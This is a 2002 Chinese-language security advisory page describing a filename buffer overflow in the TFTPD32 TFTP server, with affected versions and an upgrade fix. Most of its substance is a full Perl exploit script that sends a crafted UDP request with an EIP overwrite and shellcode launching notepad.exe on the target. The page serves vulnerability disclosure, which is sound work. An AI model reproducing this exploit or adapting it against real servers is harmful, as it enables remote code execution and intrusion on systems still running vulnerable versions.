关于我们 | 加入我们 | 网站结构 | 交换连接 | 联系我们
| 最新文档 | 技术文摘 | 安全漏洞 | 菜鸟乐园 | 黑客进阶 | 技术文库 | 软件下载 | 技术论坛 |
 您现在的位置 >> 返回首页 文档发表时间:2002-11-23

TFTPD32 超长字节文件名缓冲溢出缺陷 (阅览 次)

TFTPD32 是 WINDOWS9X/NT/XP 上的免费 TFTP 服务程序,支持 TFTPv2 协议的执行(TFTPv2 协议在RFC 1350中有详细说明)。

TFTPD32 对用户递交的文件名缺乏正确的边界检查,远程攻击者可利用此缺陷进行缓冲溢出攻击,精心构建并提交的恶意代码允许远程攻击者在受害者系统上执行任意指令。

受影响系统:
*TFTP32 2.21 及以前版本

不受影响系统:
*TFTP32 2.50.2


攻击方法:

#!/usr/bin/perl
#TFTP Server remote Buffer Overflow
use IO::Socket;
$host = "192.168.1.53";
$port = "69";
$data = "A";

#$buf .= "\x00\x02"; # Send ---- Choose one
$buf .= "\x00\x01"; # Recieve

$buf .= "A";
$num = "116";
$buf .= $data x $num;
$buf .= ".";
$num = "140"; # EIP section
$buf .= $data x $num;

$address = "\xFF\xFF\xFF\xFF";
$buf .= $address;

$egg = "\xEB\x27\x8B\x34\x24\x33\xC9\x33\xD2\xB2";
$egg .= "\x0B\x03\xF2\x88\x0E\x2B\xF2\xB8\xAF\xA7";
$egg .= "\xE6\x77\xB1\x05\xB2\x04\x2B\xE2\x89\x0C";
$egg .= "\x24\x2B\xE2\x89\x34\x24\xFF\xD0\x90\xEB";
$egg .= "\xFD\xE8\xD4\xFF\xFF\xFF";
$egg .= "notepad.exe";

$egg .= "\x90\x90\x90\x90\x90\x90";
$buf .= $egg;

$buf .= "\x00binary\x00";

$socket = IO::Socket::INET->new(Proto => "udp") or die "Socket error:
$@\n";
$ipaddr = inet_aton($host) || $host;
$portaddr = sockaddr_in($port, $ipaddr);
send($socket, $buf, 0, $portaddr) == length($buf) or die "Can't send:
$!\n";
print "Now, '$host' should open up a notepad\n";



解决方案:
升级到不受影响版本 TFTP32 2.50.2

返回

建议您使用IE浏览器800×600以上分辩率浏览以获最佳效果

20CN网络安全小组版权所有
Copyright © 2000-2006 20CN Network Security Group. All Rights Reserved.
如有任何问题及建议请写信至 webmaster@20cn.net